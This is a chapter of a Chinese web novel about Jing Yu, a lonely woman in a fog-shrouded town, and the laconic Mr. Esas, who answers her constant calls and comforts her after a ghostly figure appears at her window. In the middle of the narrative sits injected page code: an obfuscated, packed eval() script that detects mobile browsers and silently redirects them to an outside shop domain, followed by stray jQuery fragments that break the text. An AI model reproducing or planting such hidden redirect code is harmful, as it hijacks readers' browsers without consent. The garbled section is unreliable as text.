如果要给厄撒斯先生做一个评判,景郁觉得他一定是那种面冷心热的人,虽然他总是话很少,却从来没有表现出任何的不耐烦过,对于景郁的问题总是有问必答。

    厄撒斯先生对于景郁的信息的回复速度似乎也越来越快。

    “厄撒斯先生?厄撒斯先生?你在吗?”

    “厄撒斯先生?你在忙吗?厄撒斯先生?”

    “我在”

    “厄撒斯先生……厄撒斯先生,在吗?”

    “我在”

    “厄撒斯先生。”

    “什么事”

    “厄撒斯——”

    “什么事”

    到现在几乎像是真正的心灵感应一样,只要景郁在心里喊一声,立刻就能收到回复,虽然大部分时候自己并没有什么事情,厄撒斯对此也没有任何愤怒或者不满的情绪流露。

    已经好的不太像人了。

    景郁自己都觉得这种频率有些过分了,最开始她也想过,自己无法控制会不会想到厄撒斯先生,那厄撒斯先生是否能选择听到或者不听呢,就像人捂住耳朵一样。

    厄撒斯给了她肯定的回答,景郁想说的话到了嘴边,却怎么都说不出口了,她舍不得唯一一个能一直回应她的人也不理她。周琳偶尔回复的消息,已经很久没看到的小朋友,还有在雾中空荡荡的街头,她的世界好像只剩下这一个会回应她的人了。

    她总是为一些小事麻烦对方,却又因为对方不厌其烦的回复感到欣喜,或许这本身就是她想要找他的原因。

    但是这样把人当客服用是不对的,景郁的价值观在控诉。

    纠结许久,景郁深吸一口气:“厄撒斯先生一直听到我呼唤你,会觉得烦吗?”

    只要他说是,她就说出那句话。

    “不觉得”

    没有任何情感色彩的话,却在景郁心中掀起波澜,一点点冲淡了不安与紧张,她盯着那三个字翻来覆去看,好半天才想起来要回复。

    “谢谢您!”

    不过厄撒斯先生也并非无所不能的,比如,他的回复似乎不能解决物品偶尔位置移动的情况;比如,有些时候景郁问的问题,他也并不能给出答案。

    但这一切对现在的景郁而言,无伤大雅,毫不影响厄撒斯先生在她心中的光辉形象。

    景郁唯一感到有些耿耿于怀的便是自己到现在对厄撒斯先生可以说是一无所知,不仅不知道对方的任何信息,身份年龄,连对方的长相都没有太记住,唯一知道的只有对方的名字。

    这也不能怪景郁,实在是厄撒斯先生的作风太干脆利落了,每次的开场白就是“什么事”,连寒暄都跳过了,搞得景郁也不好意思闲聊,只得有事说事,直接切入正题,所以从两人认识到现在的对话基本以景郁呼唤——厄撒斯回应——景郁提出需求——厄撒斯满足——联系结束的模式进行。景郁一点插入的机会都没有。

    但人是很难控制自己的好奇心的,景郁也不能免俗,更何况对方还是一个愿意随时随地回复自己,排忧解难的天使一样的人。

    景郁试图从厄撒斯的行为表现推测,发现除了能得出对方是个好人这种循环论证的结论之外,什么都推断不出来。

    景郁正冥思苦想时,余光忽然瞥见窗帘动了一下。

    下意识以为是起风了,准备走过去关上窗。没走几步忽然想起,起雾之后,她似乎就没有吹到过风了,无论是在室内还是室外。

    站在窗前,透过薄薄的遮光窗帘,景郁隐约看到有什么在窗口。

    小偷会从窗口爬进来吗,景郁想了想自家层数,好像也不是没有可能,自己还开着窗。

    于是转身从厨房拿了一把刀,紧紧攥在手上,紧张地开口:“我已经报警了,你赶紧给我下去。”

    那人好像没听到景郁在说什么似的,仍旧奋力蠕动,是的,蠕动,景郁定睛一看才发现,那个“人”的动作似乎不怎么像人,他只是在逐渐向景郁所在的位置靠近,却无法看到攀爬的动作,也看不清五官,简直像个幽灵。

    眼见那个不知名生物离景郁的距离越来越近,景郁却连对方怎么过来的都看不清楚,这诡异的场面让景郁想起恐怖电影里随着灯光闪烁越来越近的鬼,一瞬间头皮发麻,寒毛都炸了起来。

    景郁后退好几步,咽了咽口水,喉咙像是生锈般涩住了。不是吧,三天两头出来这种阴间东西,自己难道有什么特殊体质直到现在才觉醒吗?景郁简直要指天怒喊,为什么不随体质赠送一本捉鬼秘笈,好歹自己毕业之后还能拿来拓展副业,现在只能碰见,完全解决不了算什么,算捉鬼警犬吗,简直比警犬还不如。

    她张了张嘴,没有喊出来。不知道为什么,她忽然并不想直接喊厄撒斯先生解决。

    她看了一眼手里的刀,深吸了口气,又吸了一口,抬起不受控制颤抖着的手,飞快思考着是自己现在上去攮对方一下子,还是等对方过来了再给对方一下子。

    不对啊,自己为什么要跟对方面对面接触,直接把刀扔过去不就行了。

    景郁一咬牙,紧张地盯着窗口位置,颤颤巍巍地举起刀瞄准,喉骨上下滑动着吞咽并不存在的口水。

    不管了,拼了!

    “叮——”

    突然响起的门铃声吓得景郁浑身一震,手一抖手里的刀直接“噹”的一声掉在了地上。

    她惊恐地想要回头,又害怕窗口的东西是类似哭泣天使一样的玩意儿,一转头直接把自己弄走了,回了一半的头硬是像个缺了润滑油的机器一样一卡一卡地转了回来,警惕地看着面前。

    跟自己这种战斗力为0的人还要玩声东击西,前后包抄吗?这么看得起自己吗。

    景郁用余光瞄着掉在地上的刀,一脸绝望。现在只能祈祷这两个待会儿分赃不均打起来了,景郁欲哭无泪地想。

    “景郁”

    门铃又响了,同时响起的还有一道景郁记不住但十分熟悉的声音。

    “厄撒斯先生?”

    有什么比现在更符合“救我于水火”这几个字的,对于景郁而言,没有,她三步并两步冲到门口打开了大门。

    门口站着的正是厄撒斯,景郁瞬间放松下来,长出一口气。

    “厄撒斯先生,您怎么来了,刚刚有——”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17898212|212891||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    她回头准备给对方指窗口的位置,可那里已经什么都没有了,连刚刚飘动的窗帘也恢复了原状,好像刚刚的一切不过是景郁的幻觉。

    “嗯,我知道”

    “那您是因为这个才过来吗?”景郁的声音带着明显的欣喜,音调不自觉微微上扬。

    “路过”厄撒斯言简意赅地回答道,停顿片刻忽然问道,“为什么不叫我?”

    厄撒斯说话几乎没有任何情绪色彩和语调起伏,但这次却罕见能听出是在疑问。

    “呃……”景郁也不知道怎么回答,直说的话,会被觉得很幼稚吧,“厄撒斯先生,要不要进来坐坐。”

    “不用”

    与拒绝一同落下的,还有头顶温柔的触感,景郁感觉自己的头顶好像有什么很轻柔的东西落了下来,厄撒斯先生的身高太高了,从第一次见面景郁就想感叹了,自己也算高了,可是不抬头似乎很难看清厄撒斯先生的脸,好像只能到对方肩膀附近。

    想到自己似乎还是没有很真切地看过厄撒斯先生的长相,景郁下意识想抬头,却又舍不得落在自己头顶的那只手。不知道是不是父母去世之后从来没有人摸过自己的头,景郁竟然感觉到一阵极为强烈的安心感,残余的恐惧、焦虑、不安仿佛都被温水一遍遍冲荡得干干净净,只剩下宁静和遥远地躺在母亲怀抱时的安全感,短短几秒,景郁便在轻柔的安宁舒适感中忘记了抬头这件事。

    连为什么大半夜厄撒斯会出现在她家门口然后说了几句话就开始像撸猫一样摸了摸自己的头这件事都想不起来了。此刻她的只剩所有烦恼都被清理之后的轻松干净,大脑仿佛被轻飘飘的云彩托起来带向空中,失去了任何思考的能力,唯有纯粹的感知。

    景郁刚开始还能模模糊糊地想到厄撒斯先生为什么不进来坐坐,但是很快就像个中了迷魂术的书生一样什么都想不了了,眼皮也合上了,直直地向前倒去。

    她没有想到会摔到地上这种问题,好像笃定了会被接住,事实也的确如此,景郁的身体软软地倒下去一点便停住了。

    “嗯?”

    …………

    醒来的时候,景郁正躺在床上,身上还穿着昨天的衣服,眼睛有些迟钝地眨了眨。

    昨天的事情她还记得,但是记忆中的恐惧感仿佛被过滤掉了,回想时只剩一层淡淡的隔阂和平静感,反倒是昨天那只手掌带来的安全感记忆犹新。

    景郁的理智终于上线了,思考起了为什么厄撒斯先生昨天没说几句话突然摸起了自己的头。

    是自己最近叫了他太多次,导致对方以为自己是一个柔弱不能自理的小姑娘吗?

    景郁捂住脸,就知道会这样,看来以后真的要想办法改改自己有事没事叫厄撒斯先生的习惯了。

    不过,厄撒斯先生摸的也太舒服了,不知道自己昨天的表情会不会看上去像被摸的鬼迷日眼的猫一样,这也太羞耻了。

    “啊啊啊啊啊啊,为什么,为什么不能让我在他面前有个好点的印象啊!!!”景郁抱着枕头抓狂。

    “好歹我也是高等教育人才,天天在他面前像个三低人士一样呜。”